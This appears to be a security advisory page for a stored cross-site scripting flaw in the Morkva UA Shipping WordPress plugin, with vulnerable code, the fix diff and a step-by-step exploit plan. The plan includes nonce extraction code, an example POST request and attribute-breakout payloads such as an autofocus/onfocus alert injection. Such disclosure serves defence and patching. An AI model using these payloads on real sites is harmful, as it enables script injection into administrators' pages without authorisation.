Morkva UA Shipping <= 1.7.9 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Weight, kg' Field
Description
The Morkva UA Shipping plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.7.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.7.9What Changed in the Fix
Changes introduced in v1.7.10
Source Code
WordPress.org SVNThis plan outlines the steps to exploit a stored Cross-Site Scripting (XSS) vulnerability in the **Morkva UA Shipping** plugin (<= 1.7.9). The vulnerability exists because the plugin fails to sanitize and escape the "Weight, kg" field within its administrative settings. ### 1. Vulnerability Summary…
Show full research plan
This plan outlines the steps to exploit a stored Cross-Site Scripting (XSS) vulnerability in the Morkva UA Shipping plugin (<= 1.7.9). The vulnerability exists because the plugin fails to sanitize and escape the "Weight, kg" field within its administrative settings.
1. Vulnerability Summary
- Vulnerability: Authenticated Stored XSS.
- Affected Parameter: Any numeric setting field (specifically "Weight, kg") rendered via the
MRKV_UA_SHIPPING_OPTION_FILEDS::get_input_numbermethod. - Vulnerable Sink:
classes/settings/global/mrkv-ua-shipping-option-fields.phpin theget_input_number()function. - Cause: The
$value_contentvariable (derived from user-controlled settings) is echoed directly into thevalueattribute of an<input type="number">tag without usingesc_attr(). This allows an attacker to break out of the attribute and inject event handlers or other attributes.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/options.php(standard WordPress settings handler). - Vulnerable Page:
/wp-admin/admin.php?page=mrkv_ua_shipping_nova-poshta(or other shipping method sub-pages likeukr-poshta). - Required Authentication: Administrator permissions (specifically when
unfiltered_htmlis disabled). - Payload Location: The
nova-poshta_m_ua_settings[default][weight]parameter (field name inferred from plugin logic).
3. Code Flow
- Entry Point: An administrator saves plugin settings via the WordPress Admin UI.
- Storage: The settings are saved as an array in the
wp_optionstable under the namenova-poshta_m_ua_settings. - Loading: When the settings page is loaded,
MRKV_UA_SHIPPING_METHODS::get_shipping_admin_settings(inclasses/shipping_methods/mrkv-ua-shipping-methods.php) retrieves the option:define('MRKV_OPTION_OBJECT_NAME', SETTINGS_MRKV_UA_SHIPPING_SLUG . '_m_ua_settings'); define('MRKV_SHIPPING_SETTINGS', get_option(MRKV_OPTION_OBJECT_NAME)); - Sink: The settings page calls
get_input_number()inclasses/settings/global/mrkv-ua-shipping-option-fields.php:public function get_input_number($label, $name, $value = '', ...) { $value_content = $value ? $value : $default_value; // No sanitization // Value is echoed directly into attribute $name_content = $name ? '<input ... name="' . $name . '" ... value="' . $value_content . '" ' . $readonly . '>' : ''; return $html; }
4. Nonce Acquisition Strategy
The settings are saved using the standard WordPress Options API.
- Navigate to the settings page:
wp-admin/admin.php?page=mrkv_ua_shipping_nova-poshta. - The form on this page will contain a hidden input for
_wpnonce. - The nonce action is automatically generated by WordPress for the settings group
mrkv-ua-shipping-nova-poshta-group. - Extraction:
// Use browser_eval to get the nonce from the form document.querySelector('form[action="options.php"] input[name="_wpnonce"]').value;
5. Exploitation Strategy
- Pre-requisite: The Nova Poshta shipping method must be enabled.
- Navigation: Navigate to the Nova Poshta settings page.
- Extraction: Grab the
_wpnonceand the exactnameattribute of the "Weight, kg" input. - Injection: Send a POST request to
options.phpwith the XSS payload. - Payload:
0" onmouseover="alert(document.domain)" style="width:1000px;height:1000px;display:block;"- Note: Since it's a
type="number", the browser might visually restrict input, but the server-side storage accepts the string. Injecting a largestyleensures theonmouseoveris easily triggered. Alternatively, use0" autofocus onfocus="alert(1)".
- Note: Since it's a
HTTP Request (Example):
POST /wp-admin/options.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
option_page=mrkv-ua-shipping-nova-poshta-group&
action=update&
_wpnonce=[EXTRACTED_NONCE]&
nova-poshta_m_ua_settings[default][weight]=0" autofocus onfocus="alert(document.domain)"
6. Test Data Setup
- Activate Plugin: Ensure
morkva-ua-shippingis active. - Enable Method: Use WP-CLI to enable Nova Poshta to ensure the settings page is accessible.
wp option update m_ua_active_plugins '{"nova-poshta":{"enabled":"on"}}' --format=json - Administrator User: Use the existing admin credentials.
7. Expected Results
- The POST request to
options.phpshould return a 302 redirect back to the settings page. - Upon redirection (or manual reload), the HTML source of the "Weight, kg" input will look like:
<input ... type="number" ... value="0" autofocus onfocus="alert(document.domain)" "> - The JavaScript payload will execute automatically (due to
autofocus/onfocus) or upon hovering.
8. Verification Steps
- Check Database: Verify the payload is stored in the options table.
wp option get nova-poshta_m_ua_settings --format=json - Verify Rendering: Use
http_requestto fetch the settings page and grep for the payload.# Look for the injected onfocus handler grep "onfocus=\"alert"
9. Alternative Approaches
- Different Shipping Methods: If
nova-poshtais not the target, the same vulnerability exists inukr-poshtaorrozetka-deliverysettings pages, as they all use the sameMRKV_UA_SHIPPING_OPTION_FILEDSgenerator. - Bypassing
type="number": If the browser refuses to render event handlers on a numeric input, an attacker can attempt to inject atype="text"attribute. While browsers usually prioritize the firsttypeattribute, some older environments or specific rendering contexts might be susceptible to attribute overwriting or breaking the tag entirely ("><script>...).
Summary
The Morkva UA Shipping plugin for WordPress is vulnerable to Authenticated Stored Cross-Site Scripting (XSS) via the 'Weight, kg' and other administrative settings fields. An attacker with administrator-level privileges (especially in multi-site environments where 'unfiltered_html' is restricted) can inject arbitrary JavaScript by breaking out of the 'value' attribute of the input fields, which are rendered without proper sanitization or attribute escaping.
Vulnerable Code
// classes/settings/global/mrkv-ua-shipping-option-fields.php (Lines 47-52) public function get_input_text($label, $name, $value = '', $id = '', $default_value = '', $placeholder = '', $description = '', $disabled = '') { # Get all fields $label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : ''; $value_content = $value ? $value : $default_value; $name_content = $name ? '<input ' . $disabled . ' id="' . $id . '" type="text" name="' . $name . '" placeholder="' . $placeholder . '" value="' . $value_content . '">' : ''; --- // classes/settings/global/mrkv-ua-shipping-option-fields.php (Lines 76-80) public function get_input_number($label, $name, $value = '', $id = '', $default_value = '', $placeholder = '', $description = '', $readonly = '', $step = '0.01', $max = '') { # Get all fields $label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : ''; $value_content = $value ? $value : $default_value; $max_content = $max ? 'max="' . $max . '"' : ''; $name_content = $name ? '<input step="' . $step . '" min="0" ' . $max_content . ' id="' . $id . '" type="number" onwheel="this.blur()" name="' . $name . '" placeholder="' . $placeholder . '" value="' . $value_content . '" ' . $readonly . '>' : '';
Security Fix
@@ -3,282 +3,282 @@ if ( ! defined( 'ABSPATH' ) ) exit; # Check if class exist -if (!class_exists('MRKV_UA_SHIPPING_OPTION_FILEDS')) +if (!class_exists('MRKV_UA_SHIPPING_OPTION_FIELDS')) { - /** - * Class for setup plugin global options fields - */ - class MRKV_UA_SHIPPING_OPTION_FILEDS - { ... - public function get_input_number($label, $name, $value = '', $id = '', $default_value = '', $placeholder = '', $description = '', $readonly = '', $step = '0.01', $max = '') - { - # Get all fields - $label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : ''; - $value_content = $value ? $value : $default_value; - $max_content = $max ? 'max="' . $max . '"' : ''; - $name_content = $name ? '<input step="' . $step . '" min="0" ' . $max_content . ' id="' . $id . '" type="number" onwheel="this.blur()" name="' . $name . '" placeholder="' . $placeholder . '" value="' . $value_content . '" ' . $readonly . '>' : ''; ... + public function get_input_number($label, $name, $value = '', $id = '', $default_value = '', $placeholder = '', $description = '', $readonly = '', $step = '0.01', $max = '') + { + # Get all fields + $label_content = $label ? '<label for="' . $id . '">' . $label . '</label>' : ''; + $value_content = $value ? $value : $default_value; + $max_content = $max ? 'max="' . $max . '"' : ''; + $name_content = $name ? '<input step="' . $step . '" min="0" ' . $max_content . ' id="' . $id . '" type="number" onwheel="this.blur()" name="' . $name . '" placeholder="' . $placeholder . '" value="' . esc_attr($value_content) . '" ' . $readonly . '>' : '';
Exploit Outline
The exploit targets the shipping method settings pages in the WordPress admin dashboard. An attacker with Administrator privileges needs to: 1. Navigate to the plugin's settings page (e.g., Nova Poshta settings at `wp-admin/admin.php?page=mrkv_ua_shipping_nova-poshta`). 2. Locate the 'Weight, kg' field, which is rendered using a numeric input generator. 3. Send a POST request to `/wp-admin/options.php` including the necessary `_wpnonce` and the `option_page` identifier (`mrkv-ua-shipping-nova-poshta-group`). 4. Inject a payload into the `weight` parameter (part of the `nova-poshta_m_ua_settings` array) that closes the existing attribute and adds an event handler, such as: `0" autofocus onfocus="alert(document.domain)"`. 5. The payload will be stored in the `wp_options` table and execute whenever an administrator loads the affected settings page.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.